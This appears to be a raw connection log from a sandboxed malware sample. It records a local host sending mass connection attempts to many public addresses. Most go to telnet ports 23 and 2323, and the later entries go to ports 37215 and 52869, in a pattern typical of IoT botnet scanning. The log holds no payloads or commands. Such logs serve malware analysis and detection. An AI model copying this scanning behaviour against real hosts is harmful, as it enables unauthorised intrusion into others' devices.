Oct 6, 2024 20:00:48.554362059 CEST	38794	23	192.168.2.15	48.9.226.230
Oct 6, 2024 20:00:48.554359913 CEST	33986	23	192.168.2.15	60.42.219.159
Oct 6, 2024 20:00:48.554362059 CEST	34312	23	192.168.2.15	185.168.44.61
Oct 6, 2024 20:00:48.554368973 CEST	58802	23	192.168.2.15	148.38.205.210
Oct 6, 2024 20:00:48.554371119 CEST	51086	23	192.168.2.15	20.255.47.130
Oct 6, 2024 20:00:48.554372072 CEST	48076	23	192.168.2.15	37.20.129.58
Oct 6, 2024 20:00:48.554399967 CEST	42282	23	192.168.2.15	223.73.101.217
Oct 6, 2024 20:00:48.559623957 CEST	23	48668	178.87.27.106	192.168.2.15
Oct 6, 2024 20:00:48.559636116 CEST	23	44414	62.219.133.77	192.168.2.15
Oct 6, 2024 20:00:48.559681892 CEST	48668	23	192.168.2.15	178.87.27.106
Oct 6, 2024 20:00:48.559698105 CEST	44414	23	192.168.2.15	62.219.133.77
Oct 6, 2024 20:00:48.559755087 CEST	50952	2323	192.168.2.15	166.150.121.141
Oct 6, 2024 20:00:48.559767008 CEST	50952	23	192.168.2.15	84.103.42.248
Oct 6, 2024 20:00:48.559775114 CEST	50952	23	192.168.2.15	61.126.30.251
Oct 6, 2024 20:00:48.559777021 CEST	50952	23	192.168.2.15	176.235.152.56
Oct 6, 2024 20:00:48.559776068 CEST	50952	23	192.168.2.15	119.244.18.178
Oct 6, 2024 20:00:48.559777021 CEST	50952	23	192.168.2.15	36.133.193.105
Oct 6, 2024 20:00:48.559782982 CEST	50952	23	192.168.2.15	17.223.248.205
Oct 6, 2024 20:00:48.559782982 CEST	50952	23	192.168.2.15	191.247.22.180
Oct 6, 2024 20:00:48.559788942 CEST	50952	23	192.168.2.15	63.193.51.20
Oct 6, 2024 20:00:48.559794903 CEST	50952	23	192.168.2.15	68.120.158.39
Oct 6, 2024 20:00:48.559808969 CEST	50952	23	192.168.2.15	92.172.238.252
Oct 6, 2024 20:00:48.559808016 CEST	50952	23	192.168.2.15	192.102.98.224
Oct 6, 2024 20:00:48.559808016 CEST	50952	23	192.168.2.15	202.31.70.35
Oct 6, 2024 20:00:48.559812069 CEST	50952	2323	192.168.2.15	76.20.110.102
Oct 6, 2024 20:00:48.559814930 CEST	50952	23	192.168.2.15	110.34.131.212
Oct 6, 2024 20:00:48.559815884 CEST	50952	23	192.168.2.15	208.215.79.148
Oct 6, 2024 20:00:48.559818983 CEST	50952	23	192.168.2.15	44.226.89.239
Oct 6, 2024 20:00:48.559832096 CEST	50952	23	192.168.2.15	180.141.210.255
Oct 6, 2024 20:00:48.559837103 CEST	50952	23	192.168.2.15	108.88.90.22
Oct 6, 2024 20:00:48.559854031 CEST	50952	23	192.168.2.15	157.61.87.33
Oct 6, 2024 20:00:48.559854031 CEST	50952	23	192.168.2.15	217.125.255.136
Oct 6, 2024 20:00:48.559854031 CEST	50952	2323	192.168.2.15	63.174.58.71
Oct 6, 2024 20:00:48.559860945 CEST	50952	23	192.168.2.15	31.202.162.81
Oct 6, 2024 20:00:48.559873104 CEST	50952	23	192.168.2.15	172.133.237.30
Oct 6, 2024 20:00:48.559875011 CEST	50952	23	192.168.2.15	108.243.155.120
Oct 6, 2024 20:00:48.559875965 CEST	50952	23	192.168.2.15	68.159.155.249
Oct 6, 2024 20:00:48.559878111 CEST	50952	23	192.168.2.15	35.211.171.197
Oct 6, 2024 20:00:48.559891939 CEST	50952	23	192.168.2.15	148.250.86.94
Oct 6, 2024 20:00:48.559899092 CEST	50952	23	192.168.2.15	81.185.154.189
Oct 6, 2024 20:00:48.559899092 CEST	50952	23	192.168.2.15	133.117.81.190
Oct 6, 2024 20:00:48.559906006 CEST	50952	2323	192.168.2.15	179.175.197.106
Oct 6, 2024 20:00:48.559909105 CEST	50952	23	192.168.2.15	80.223.136.221
Oct 6, 2024 20:00:48.559912920 CEST	50952	23	192.168.2.15	122.106.18.118
Oct 6, 2024 20:00:48.559916973 CEST	50952	23	192.168.2.15	205.148.77.189
Oct 6, 2024 20:00:48.559919119 CEST	50952	23	192.168.2.15	96.120.131.111
Oct 6, 2024 20:00:48.559935093 CEST	50952	23	192.168.2.15	198.218.68.186
Oct 6, 2024 20:00:48.559942007 CEST	50952	23	192.168.2.15	113.251.186.187
Oct 6, 2024 20:00:48.559942961 CEST	50952	23	192.168.2.15	142.233.1.79
Oct 6, 2024 20:00:48.559945107 CEST	50952	23	192.168.2.15	198.143.211.160
Oct 6, 2024 20:00:48.559950113 CEST	50952	2323	192.168.2.15	61.55.105.164
Oct 6, 2024 20:00:48.559953928 CEST	50952	23	192.168.2.15	222.64.99.173
Oct 6, 2024 20:00:48.559953928 CEST	50952	23	192.168.2.15	39.164.252.172
Oct 6, 2024 20:00:48.559962988 CEST	50952	23	192.168.2.15	165.200.189.54
Oct 6, 2024 20:00:48.559974909 CEST	50952	23	192.168.2.15	173.107.122.30
Oct 6, 2024 20:00:48.559974909 CEST	50952	23	192.168.2.15	109.64.120.206
Oct 6, 2024 20:00:48.559976101 CEST	50952	23	192.168.2.15	98.25.64.198
Oct 6, 2024 20:00:48.559983015 CEST	50952	23	192.168.2.15	167.195.64.61
Oct 6, 2024 20:00:48.559986115 CEST	50952	23	192.168.2.15	145.116.1.97
Oct 6, 2024 20:00:48.559987068 CEST	50952	23	192.168.2.15	88.155.99.234
Oct 6, 2024 20:00:48.559993029 CEST	50952	2323	192.168.2.15	98.36.251.142
Oct 6, 2024 20:00:48.559999943 CEST	50952	23	192.168.2.15	198.152.5.158
Oct 6, 2024 20:00:48.560003042 CEST	50952	23	192.168.2.15	168.174.198.208
Oct 6, 2024 20:00:48.560007095 CEST	50952	23	192.168.2.15	200.175.183.200
Oct 6, 2024 20:00:48.560014963 CEST	50952	23	192.168.2.15	41.150.232.115
Oct 6, 2024 20:00:48.560017109 CEST	50952	23	192.168.2.15	206.26.184.0
Oct 6, 2024 20:00:48.560017109 CEST	50952	23	192.168.2.15	156.13.225.17
Oct 6, 2024 20:00:48.560030937 CEST	50952	23	192.168.2.15	133.6.159.197
Oct 6, 2024 20:00:48.560030937 CEST	50952	23	192.168.2.15	90.240.49.37
Oct 6, 2024 20:00:48.560036898 CEST	50952	23	192.168.2.15	46.50.222.162
Oct 6, 2024 20:00:48.560038090 CEST	50952	23	192.168.2.15	186.14.185.143
Oct 6, 2024 20:00:48.560055017 CEST	50952	2323	192.168.2.15	40.183.20.6
Oct 6, 2024 20:00:48.560055017 CEST	50952	23	192.168.2.15	153.188.68.211
Oct 6, 2024 20:00:48.560060978 CEST	50952	23	192.168.2.15	40.243.213.96
Oct 6, 2024 20:00:48.560062885 CEST	50952	23	192.168.2.15	108.247.100.204
Oct 6, 2024 20:00:48.560065985 CEST	50952	23	192.168.2.15	187.191.29.29
Oct 6, 2024 20:00:48.560072899 CEST	50952	23	192.168.2.15	140.230.235.141
Oct 6, 2024 20:00:48.560076952 CEST	50952	23	192.168.2.15	45.166.247.196
Oct 6, 2024 20:00:48.560085058 CEST	50952	23	192.168.2.15	27.113.208.176
Oct 6, 2024 20:00:48.560087919 CEST	50952	23	192.168.2.15	90.199.205.170
Oct 6, 2024 20:00:48.560092926 CEST	50952	23	192.168.2.15	184.172.210.18
Oct 6, 2024 20:00:48.560101986 CEST	50952	2323	192.168.2.15	31.38.227.120
Oct 6, 2024 20:00:48.560121059 CEST	50952	23	192.168.2.15	217.229.131.167
Oct 6, 2024 20:00:48.560122013 CEST	50952	23	192.168.2.15	18.70.92.197
Oct 6, 2024 20:00:48.560122013 CEST	50952	23	192.168.2.15	161.218.87.239
Oct 6, 2024 20:00:48.560127974 CEST	50952	23	192.168.2.15	187.38.53.188
Oct 6, 2024 20:00:48.560122013 CEST	50952	23	192.168.2.15	120.202.184.123
Oct 6, 2024 20:00:48.560131073 CEST	50952	23	192.168.2.15	110.138.191.75
Oct 6, 2024 20:00:48.560133934 CEST	50952	23	192.168.2.15	170.131.109.240
Oct 6, 2024 20:00:48.560133934 CEST	50952	23	192.168.2.15	64.28.91.143
Oct 6, 2024 20:00:48.560134888 CEST	50952	23	192.168.2.15	140.230.77.169
Oct 6, 2024 20:00:48.560143948 CEST	50952	23	192.168.2.15	161.136.189.26
Oct 6, 2024 20:00:48.560143948 CEST	50952	2323	192.168.2.15	65.154.130.195
Oct 6, 2024 20:00:48.560143948 CEST	50952	23	192.168.2.15	110.246.4.151
Oct 6, 2024 20:00:48.560143948 CEST	50952	23	192.168.2.15	68.20.211.75
Oct 6, 2024 20:00:48.560149908 CEST	50952	23	192.168.2.15	47.155.192.253
Oct 6, 2024 20:00:48.560149908 CEST	50952	23	192.168.2.15	66.223.227.137
Oct 6, 2024 20:00:48.560153961 CEST	50952	23	192.168.2.15	17.89.220.231
Oct 6, 2024 20:00:48.560153961 CEST	50952	23	192.168.2.15	139.193.159.72
Oct 6, 2024 20:00:48.560153961 CEST	50952	23	192.168.2.15	94.165.154.119
Oct 6, 2024 20:00:48.560162067 CEST	50952	23	192.168.2.15	178.49.162.252
Oct 6, 2024 20:00:48.560173988 CEST	50952	2323	192.168.2.15	42.184.136.98
Oct 6, 2024 20:00:48.560174942 CEST	50952	23	192.168.2.15	87.5.153.145
Oct 6, 2024 20:00:48.560183048 CEST	50952	23	192.168.2.15	75.242.52.15
Oct 6, 2024 20:00:48.560183048 CEST	50952	23	192.168.2.15	161.153.56.22
Oct 6, 2024 20:00:48.560192108 CEST	50952	23	192.168.2.15	9.80.127.181
Oct 6, 2024 20:00:48.560199022 CEST	50952	23	192.168.2.15	92.237.184.43
Oct 6, 2024 20:00:48.560203075 CEST	50952	23	192.168.2.15	197.71.70.17
Oct 6, 2024 20:00:48.560209036 CEST	50952	23	192.168.2.15	34.38.245.163
Oct 6, 2024 20:00:48.560210943 CEST	50952	23	192.168.2.15	41.108.226.69
Oct 6, 2024 20:00:48.560210943 CEST	50952	23	192.168.2.15	40.68.63.42
Oct 6, 2024 20:00:48.560214043 CEST	50952	2323	192.168.2.15	57.8.124.141
Oct 6, 2024 20:00:48.560225964 CEST	50952	23	192.168.2.15	222.108.226.102
Oct 6, 2024 20:00:48.560233116 CEST	50952	23	192.168.2.15	37.62.217.104
Oct 6, 2024 20:00:48.560240030 CEST	50952	23	192.168.2.15	149.144.152.65
Oct 6, 2024 20:00:48.560245991 CEST	50952	23	192.168.2.15	102.193.187.23
Oct 6, 2024 20:00:48.560245991 CEST	50952	23	192.168.2.15	103.138.165.245
Oct 6, 2024 20:00:48.560252905 CEST	50952	23	192.168.2.15	135.22.30.169
Oct 6, 2024 20:00:48.560255051 CEST	50952	23	192.168.2.15	151.25.24.2
Oct 6, 2024 20:00:48.560256004 CEST	50952	23	192.168.2.15	211.173.194.161
Oct 6, 2024 20:00:48.560266972 CEST	50952	2323	192.168.2.15	8.26.114.245
Oct 6, 2024 20:00:48.560272932 CEST	50952	23	192.168.2.15	40.143.28.190
Oct 6, 2024 20:00:48.560287952 CEST	50952	23	192.168.2.15	209.109.143.26
Oct 6, 2024 20:00:48.560290098 CEST	50952	23	192.168.2.15	89.216.37.85
Oct 6, 2024 20:00:48.560290098 CEST	50952	23	192.168.2.15	47.210.224.64
Oct 6, 2024 20:00:48.560295105 CEST	50952	23	192.168.2.15	184.140.190.133
Oct 6, 2024 20:00:48.560295105 CEST	50952	23	192.168.2.15	53.200.111.231
Oct 6, 2024 20:00:48.560302973 CEST	50952	23	192.168.2.15	133.14.238.123
Oct 6, 2024 20:00:48.560305119 CEST	50952	23	192.168.2.15	46.106.168.26
Oct 6, 2024 20:00:48.560311079 CEST	50952	23	192.168.2.15	75.142.134.226
Oct 6, 2024 20:00:48.560312033 CEST	50952	23	192.168.2.15	203.41.227.193
Oct 6, 2024 20:00:48.560322046 CEST	50952	2323	192.168.2.15	141.242.242.193
Oct 6, 2024 20:00:48.560332060 CEST	50952	23	192.168.2.15	203.132.147.206
Oct 6, 2024 20:00:48.560333014 CEST	50952	23	192.168.2.15	220.20.21.182
Oct 6, 2024 20:00:48.560338974 CEST	50952	23	192.168.2.15	108.68.221.124
Oct 6, 2024 20:00:48.560334921 CEST	50952	23	192.168.2.15	112.126.215.136
Oct 6, 2024 20:00:48.560342073 CEST	50952	23	192.168.2.15	130.39.61.119
Oct 6, 2024 20:00:48.560333014 CEST	50952	23	192.168.2.15	154.117.237.23
Oct 6, 2024 20:00:48.560342073 CEST	50952	2323	192.168.2.15	63.63.0.252
Oct 6, 2024 20:00:48.560342073 CEST	50952	23	192.168.2.15	76.226.39.89
Oct 6, 2024 20:00:48.560343027 CEST	50952	23	192.168.2.15	205.222.219.155
Oct 6, 2024 20:00:48.560342073 CEST	50952	23	192.168.2.15	174.62.84.8
Oct 6, 2024 20:00:48.560348988 CEST	50952	23	192.168.2.15	75.177.103.44
Oct 6, 2024 20:00:48.560350895 CEST	50952	23	192.168.2.15	158.124.171.194
Oct 6, 2024 20:00:48.560355902 CEST	50952	23	192.168.2.15	175.79.186.170
Oct 6, 2024 20:00:48.560358047 CEST	50952	23	192.168.2.15	166.164.182.134
Oct 6, 2024 20:00:48.560369968 CEST	50952	23	192.168.2.15	72.185.66.185
Oct 6, 2024 20:00:48.560374975 CEST	50952	23	192.168.2.15	77.246.58.221
Oct 6, 2024 20:00:48.560374975 CEST	50952	23	192.168.2.15	5.145.95.161
Oct 6, 2024 20:00:48.560384035 CEST	50952	23	192.168.2.15	173.70.179.171
Oct 6, 2024 20:00:48.560395956 CEST	50952	23	192.168.2.15	221.38.95.74
Oct 6, 2024 20:00:48.560396910 CEST	50952	2323	192.168.2.15	185.65.217.20
Oct 6, 2024 20:00:48.560408115 CEST	50952	23	192.168.2.15	188.125.228.43
Oct 6, 2024 20:00:48.560414076 CEST	50952	23	192.168.2.15	106.36.229.119
Oct 6, 2024 20:00:48.560416937 CEST	50952	23	192.168.2.15	40.228.38.17
Oct 6, 2024 20:00:48.560417891 CEST	50952	23	192.168.2.15	92.21.98.157
Oct 6, 2024 20:00:48.560417891 CEST	50952	23	192.168.2.15	31.218.197.209
Oct 6, 2024 20:00:48.560427904 CEST	50952	23	192.168.2.15	2.149.190.117
Oct 6, 2024 20:00:48.560436010 CEST	50952	23	192.168.2.15	96.239.100.51
Oct 6, 2024 20:00:48.560436964 CEST	50952	23	192.168.2.15	95.106.193.47
Oct 6, 2024 20:00:48.560444117 CEST	50952	23	192.168.2.15	89.143.163.33
Oct 6, 2024 20:00:48.560451984 CEST	50952	2323	192.168.2.15	116.99.90.42
Oct 6, 2024 20:00:48.560456991 CEST	50952	23	192.168.2.15	190.160.40.115
Oct 6, 2024 20:00:48.560461998 CEST	50952	23	192.168.2.15	31.253.112.43
Oct 6, 2024 20:00:48.560465097 CEST	50952	23	192.168.2.15	156.13.51.50
Oct 6, 2024 20:00:48.560470104 CEST	50952	23	192.168.2.15	180.136.113.15
Oct 6, 2024 20:00:48.560477018 CEST	50952	23	192.168.2.15	189.51.172.105
Oct 6, 2024 20:00:48.560486078 CEST	50952	23	192.168.2.15	48.183.50.237
Oct 6, 2024 20:00:48.560492992 CEST	50952	23	192.168.2.15	70.149.7.11
Oct 6, 2024 20:00:48.560494900 CEST	50952	23	192.168.2.15	111.234.71.204
Oct 6, 2024 20:00:48.560498953 CEST	50952	23	192.168.2.15	188.155.8.179
Oct 6, 2024 20:00:48.561018944 CEST	39226	2323	192.168.2.15	158.58.190.114
Oct 6, 2024 20:00:48.561688900 CEST	32816	23	192.168.2.15	108.65.125.217
Oct 6, 2024 20:00:48.562370062 CEST	42802	23	192.168.2.15	70.181.230.72
Oct 6, 2024 20:00:48.563067913 CEST	59728	23	192.168.2.15	148.86.128.233
Oct 6, 2024 20:00:48.563767910 CEST	43392	23	192.168.2.15	128.29.132.205
Oct 6, 2024 20:00:48.564471960 CEST	57038	23	192.168.2.15	102.174.82.62
Oct 6, 2024 20:00:48.564568043 CEST	2323	50952	166.150.121.141	192.168.2.15
Oct 6, 2024 20:00:48.564604998 CEST	50952	2323	192.168.2.15	166.150.121.141
Oct 6, 2024 20:00:48.565254927 CEST	32774	23	192.168.2.15	195.83.136.216
Oct 6, 2024 20:00:48.565968037 CEST	59430	2323	192.168.2.15	88.69.200.18
Oct 6, 2024 20:00:48.566689968 CEST	37704	23	192.168.2.15	120.179.224.212
Oct 6, 2024 20:00:48.567411900 CEST	50408	23	192.168.2.15	31.200.24.42
Oct 6, 2024 20:00:48.568130016 CEST	35156	23	192.168.2.15	39.109.90.165
Oct 6, 2024 20:00:48.568839073 CEST	33220	23	192.168.2.15	197.72.10.36
Oct 6, 2024 20:00:48.569541931 CEST	58838	23	192.168.2.15	78.18.30.234
Oct 6, 2024 20:00:48.570297003 CEST	55452	23	192.168.2.15	99.94.176.231
Oct 6, 2024 20:00:48.571026087 CEST	41884	23	192.168.2.15	116.232.146.229
Oct 6, 2024 20:00:48.571748972 CEST	43414	23	192.168.2.15	200.229.127.222
Oct 6, 2024 20:00:48.572249889 CEST	23	50408	31.200.24.42	192.168.2.15
Oct 6, 2024 20:00:48.572308064 CEST	50408	23	192.168.2.15	31.200.24.42
Oct 6, 2024 20:00:48.572494030 CEST	38592	23	192.168.2.15	38.164.196.136
Oct 6, 2024 20:00:48.573204994 CEST	38770	23	192.168.2.15	193.114.88.114
Oct 6, 2024 20:00:48.573929071 CEST	59078	2323	192.168.2.15	195.12.46.12
Oct 6, 2024 20:00:48.574616909 CEST	57252	23	192.168.2.15	189.140.84.46
Oct 6, 2024 20:00:48.575311899 CEST	41688	23	192.168.2.15	203.113.110.39
Oct 6, 2024 20:00:48.576014042 CEST	44920	23	192.168.2.15	163.54.77.211
Oct 6, 2024 20:00:48.576662064 CEST	34698	23	192.168.2.15	83.30.149.56
Oct 6, 2024 20:00:48.577318907 CEST	35824	23	192.168.2.15	103.199.112.240
Oct 6, 2024 20:00:48.577974081 CEST	39108	23	192.168.2.15	84.64.94.64
Oct 6, 2024 20:00:48.578624964 CEST	41172	23	192.168.2.15	110.146.127.38
Oct 6, 2024 20:00:48.579293966 CEST	52758	23	192.168.2.15	200.22.216.246
Oct 6, 2024 20:00:48.580070019 CEST	32876	23	192.168.2.15	111.73.125.131
Oct 6, 2024 20:00:48.580733061 CEST	43590	23	192.168.2.15	188.70.111.55
Oct 6, 2024 20:00:48.580735922 CEST	23	44920	163.54.77.211	192.168.2.15
Oct 6, 2024 20:00:48.580780983 CEST	44920	23	192.168.2.15	163.54.77.211
Oct 6, 2024 20:00:48.581406116 CEST	60960	2323	192.168.2.15	77.47.84.216
Oct 6, 2024 20:00:48.582045078 CEST	42208	23	192.168.2.15	111.232.173.42
Oct 6, 2024 20:00:48.582706928 CEST	43466	23	192.168.2.15	212.112.140.178
Oct 6, 2024 20:00:48.583359957 CEST	48894	23	192.168.2.15	174.62.163.155
Oct 6, 2024 20:00:48.584137917 CEST	57680	23	192.168.2.15	174.254.232.178
Oct 6, 2024 20:00:48.584808111 CEST	37068	23	192.168.2.15	141.110.105.208
Oct 6, 2024 20:00:48.585494041 CEST	52196	23	192.168.2.15	163.180.50.97
Oct 6, 2024 20:00:48.586199999 CEST	47976	23	192.168.2.15	2.241.69.251
Oct 6, 2024 20:00:48.587006092 CEST	35612	23	192.168.2.15	170.196.188.22
Oct 6, 2024 20:00:48.587676048 CEST	43876	23	192.168.2.15	38.71.57.80
Oct 6, 2024 20:00:48.588326931 CEST	37804	2323	192.168.2.15	119.68.247.3
Oct 6, 2024 20:00:48.588975906 CEST	42524	23	192.168.2.15	62.135.251.30
Oct 6, 2024 20:00:48.589613914 CEST	52116	23	192.168.2.15	170.89.239.187
Oct 6, 2024 20:00:48.590250969 CEST	55782	23	192.168.2.15	213.164.11.87
Oct 6, 2024 20:00:48.590909958 CEST	46130	23	192.168.2.15	151.12.130.85
Oct 6, 2024 20:00:48.591568947 CEST	39054	23	192.168.2.15	37.236.152.128
Oct 6, 2024 20:00:48.592221022 CEST	45992	23	192.168.2.15	145.222.38.221
Oct 6, 2024 20:00:48.592451096 CEST	23	43876	38.71.57.80	192.168.2.15
Oct 6, 2024 20:00:48.592494965 CEST	43876	23	192.168.2.15	38.71.57.80
Oct 6, 2024 20:00:48.592874050 CEST	55380	2323	192.168.2.15	166.150.121.141
Oct 6, 2024 20:00:48.714267969 CEST	53382	37215	192.168.2.15	41.245.196.43
Oct 6, 2024 20:00:48.714267969 CEST	41450	37215	192.168.2.15	41.196.187.73
Oct 6, 2024 20:00:48.714271069 CEST	51026	37215	192.168.2.15	41.30.135.209
Oct 6, 2024 20:00:48.714272976 CEST	55586	37215	192.168.2.15	156.186.47.194
Oct 6, 2024 20:00:48.714277983 CEST	45080	52869	192.168.2.15	41.152.8.136
Oct 6, 2024 20:00:48.714284897 CEST	51502	37215	192.168.2.15	197.248.150.107
Oct 6, 2024 20:00:48.714291096 CEST	37000	37215	192.168.2.15	156.221.220.140
Oct 6, 2024 20:00:48.714323044 CEST	54520	37215	192.168.2.15	197.100.196.209
Oct 6, 2024 20:00:48.714327097 CEST	45548	37215	192.168.2.15	156.252.219.203
Oct 6, 2024 20:00:48.714327097 CEST	35814	37215	192.168.2.15	197.199.224.132
Oct 6, 2024 20:00:48.714327097 CEST	51078	37215	192.168.2.15	197.6.85.118
Oct 6, 2024 20:00:48.714327097 CEST	46158	37215	192.168.2.15	41.40.22.66
Oct 6, 2024 20:00:48.714327097 CEST	34798	37215	192.168.2.15	41.188.37.80
Oct 6, 2024 20:00:48.714330912 CEST	50306	37215	192.168.2.15	197.230.212.179
Oct 6, 2024 20:00:48.714329958 CEST	60126	52869	192.168.2.15	197.66.205.185
Oct 6, 2024 20:00:48.714378119 CEST	56616	52869	192.168.2.15	197.225.206.52
Oct 6, 2024 20:00:48.714378119 CEST	57484	52869	192.168.2.15	156.140.4.216
Oct 6, 2024 20:00:48.714378119 CEST	55388	37215	192.168.2.15	197.209.210.67
Oct 6, 2024 20:00:48.714378119 CEST	59798	52869	192.168.2.15	197.115.54.7
Oct 6, 2024 20:00:48.714378119 CEST	56142	52869	192.168.2.15	41.88.112.9
Oct 6, 2024 20:00:48.714378119 CEST	52282	37215	192.168.2.15	156.68.175.89
Oct 6, 2024 20:00:48.714378119 CEST	53220	52869	192.168.2.15	41.234.254.118
Oct 6, 2024 20:00:48.714378119 CEST	48854	37215	192.168.2.15	156.169.155.153
Oct 6, 2024 20:00:48.714425087 CEST	34308	37215	192.168.2.15	41.241.82.163
Oct 6, 2024 20:00:48.719500065 CEST	52869	45080	41.152.8.136	192.168.2.15
Oct 6, 2024 20:00:48.719513893 CEST	37215	51026	41.30.135.209	192.168.2.15
Oct 6, 2024 20:00:48.719523907 CEST	37215	53382	41.245.196.43	192.168.2.15
Oct 6, 2024 20:00:48.719533920 CEST	37215	55586	156.186.47.194	192.168.2.15
Oct 6, 2024 20:00:48.719543934 CEST	37215	51502	197.248.150.107	192.168.2.15
Oct 6, 2024 20:00:48.719553947 CEST	37215	41450	41.196.187.73	192.168.2.15
Oct 6, 2024 20:00:48.719563961 CEST	37215	37000	156.221.220.140	192.168.2.15
Oct 6, 2024 20:00:48.719574928 CEST	37215	54520	197.100.196.209	192.168.2.15
Oct 6, 2024 20:00:48.719585896 CEST	37215	50306	197.230.212.179	192.168.2.15
Oct 6, 2024 20:00:48.719585896 CEST	53382	37215	192.168.2.15	41.245.196.43
Oct 6, 2024 20:00:48.719590902 CEST	45080	52869	192.168.2.15	41.152.8.136
Oct 6, 2024 20:00:48.719595909 CEST	37215	45548	156.252.219.203	192.168.2.15
Oct 6, 2024 20:00:48.719602108 CEST	37215	35814	197.199.224.132	192.168.2.15
Oct 6, 2024 20:00:48.719604969 CEST	55586	37215	192.168.2.15	156.186.47.194
Oct 6, 2024 20:00:48.719604969 CEST	54520	37215	192.168.2.15	197.100.196.209
Oct 6, 2024 20:00:48.719604969 CEST	37000	37215	192.168.2.15	156.221.220.140
Oct 6, 2024 20:00:48.719609022 CEST	37215	51078	197.6.85.118	192.168.2.15
Oct 6, 2024 20:00:48.719613075 CEST	41450	37215	192.168.2.15	41.196.187.73
Oct 6, 2024 20:00:48.719620943 CEST	51502	37215	192.168.2.15	197.248.150.107
Oct 6, 2024 20:00:48.719650030 CEST	50306	37215	192.168.2.15	197.230.212.179
Oct 6, 2024 20:00:48.719657898 CEST	45548	37215	192.168.2.15	156.252.219.203
Oct 6, 2024 20:00:48.719671011 CEST	35814	37215	192.168.2.15	197.199.224.132
Oct 6, 2024 20:00:48.719672918 CEST	51078	37215	192.168.2.15	197.6.85.118
Oct 6, 2024 20:00:48.719707012 CEST	49416	37215	192.168.2.15	156.141.35.255
Oct 6, 2024 20:00:48.719707966 CEST	49416	37215	192.168.2.15	41.34.33.10
Oct 6, 2024 20:00:48.719707966 CEST	49416	37215	192.168.2.15	156.182.68.232
Oct 6, 2024 20:00:48.719710112 CEST	49416	37215	192.168.2.15	156.229.92.223
Oct 6, 2024 20:00:48.719721079 CEST	49416	37215	192.168.2.15	41.132.66.69
Oct 6, 2024 20:00:48.719723940 CEST	49416	37215	192.168.2.15	156.95.252.181
Oct 6, 2024 20:00:48.719724894 CEST	49416	37215	192.168.2.15	197.67.9.197
Oct 6, 2024 20:00:48.719723940 CEST	49416	37215	192.168.2.15	197.147.204.155
Oct 6, 2024 20:00:48.719724894 CEST	49416	37215	192.168.2.15	41.47.138.128
Oct 6, 2024 20:00:48.719723940 CEST	49416	37215	192.168.2.15	156.233.211.139
Oct 6, 2024 20:00:48.719724894 CEST	49416	37215	192.168.2.15	156.11.112.16
Oct 6, 2024 20:00:48.719723940 CEST	49416	37215	192.168.2.15	197.140.212.3
Oct 6, 2024 20:00:48.719733953 CEST	49416	37215	192.168.2.15	197.218.143.189
Oct 6, 2024 20:00:48.719733953 CEST	49416	37215	192.168.2.15	156.201.43.47
Oct 6, 2024 20:00:48.719733953 CEST	49416	37215	192.168.2.15	156.101.53.97
Oct 6, 2024 20:00:48.719736099 CEST	49416	37215	192.168.2.15	41.16.251.179
Oct 6, 2024 20:00:48.719733953 CEST	49416	37215	192.168.2.15	197.199.112.33
Oct 6, 2024 20:00:48.719742060 CEST	49416	37215	192.168.2.15	156.168.43.193
Oct 6, 2024 20:00:48.719741106 CEST	51026	37215	192.168.2.15	41.30.135.209
Oct 6, 2024 20:00:48.719743013 CEST	49416	37215	192.168.2.15	156.8.65.55
Oct 6, 2024 20:00:48.719741106 CEST	49416	37215	192.168.2.15	156.58.174.132
Oct 6, 2024 20:00:48.719743967 CEST	49416	37215	192.168.2.15	197.138.154.174
Oct 6, 2024 20:00:48.719741106 CEST	49416	37215	192.168.2.15	197.239.18.23
Oct 6, 2024 20:00:48.719741106 CEST	49416	37215	192.168.2.15	41.143.125.38
Oct 6, 2024 20:00:48.719741106 CEST	49416	37215	192.168.2.15	197.80.5.214
Oct 6, 2024 20:00:48.719741106 CEST	49416	37215	192.168.2.15	156.230.154.189
Oct 6, 2024 20:00:48.719741106 CEST	49416	37215	192.168.2.15	41.138.63.27
Oct 6, 2024 20:00:48.719741106 CEST	49416	37215	192.168.2.15	156.149.1.221
Oct 6, 2024 20:00:48.719758034 CEST	49416	37215	192.168.2.15	156.180.114.14
Oct 6, 2024 20:00:48.719760895 CEST	49416	37215	192.168.2.15	197.224.56.107
Oct 6, 2024 20:00:48.719762087 CEST	49416	37215	192.168.2.15	156.251.161.83
Oct 6, 2024 20:00:48.719762087 CEST	49416	37215	192.168.2.15	197.101.222.149
Oct 6, 2024 20:00:48.719777107 CEST	49416	37215	192.168.2.15	41.128.224.222
Oct 6, 2024 20:00:48.719779968 CEST	49416	37215	192.168.2.15	41.195.193.229
Oct 6, 2024 20:00:48.719780922 CEST	49416	37215	192.168.2.15	197.248.192.118
Oct 6, 2024 20:00:48.719779968 CEST	49416	37215	192.168.2.15	197.132.99.197
Oct 6, 2024 20:00:48.719784975 CEST	49416	37215	192.168.2.15	41.60.81.144
Oct 6, 2024 20:00:48.719784975 CEST	49416	37215	192.168.2.15	197.174.118.92
Oct 6, 2024 20:00:48.719786882 CEST	49416	37215	192.168.2.15	156.42.209.212
Oct 6, 2024 20:00:48.719793081 CEST	49416	37215	192.168.2.15	156.23.91.155
Oct 6, 2024 20:00:48.719795942 CEST	49416	37215	192.168.2.15	41.140.175.102
Oct 6, 2024 20:00:48.719810009 CEST	49416	37215	192.168.2.15	156.135.92.165
Oct 6, 2024 20:00:48.719814062 CEST	49416	37215	192.168.2.15	197.89.189.180
Oct 6, 2024 20:00:48.719814062 CEST	49416	37215	192.168.2.15	41.176.242.123
Oct 6, 2024 20:00:48.719815969 CEST	49416	37215	192.168.2.15	156.111.85.157
Oct 6, 2024 20:00:48.719829082 CEST	49416	37215	192.168.2.15	197.214.23.226
Oct 6, 2024 20:00:48.719830036 CEST	49416	37215	192.168.2.15	197.176.175.164
Oct 6, 2024 20:00:48.719832897 CEST	49416	37215	192.168.2.15	197.224.38.131
Oct 6, 2024 20:00:48.719835997 CEST	49416	37215	192.168.2.15	41.224.95.40
Oct 6, 2024 20:00:48.719839096 CEST	49416	37215	192.168.2.15	156.75.88.202
Oct 6, 2024 20:00:48.719839096 CEST	49416	37215	192.168.2.15	156.28.57.156
Oct 6, 2024 20:00:48.719840050 CEST	49416	37215	192.168.2.15	41.33.181.39
Oct 6, 2024 20:00:48.719851017 CEST	49416	37215	192.168.2.15	41.12.129.57
Oct 6, 2024 20:00:48.719855070 CEST	49416	37215	192.168.2.15	156.173.91.29
Oct 6, 2024 20:00:48.719856024 CEST	49416	37215	192.168.2.15	41.102.170.115
Oct 6, 2024 20:00:48.719856024 CEST	49416	37215	192.168.2.15	197.168.56.255
Oct 6, 2024 20:00:48.719858885 CEST	49416	37215	192.168.2.15	41.24.255.22
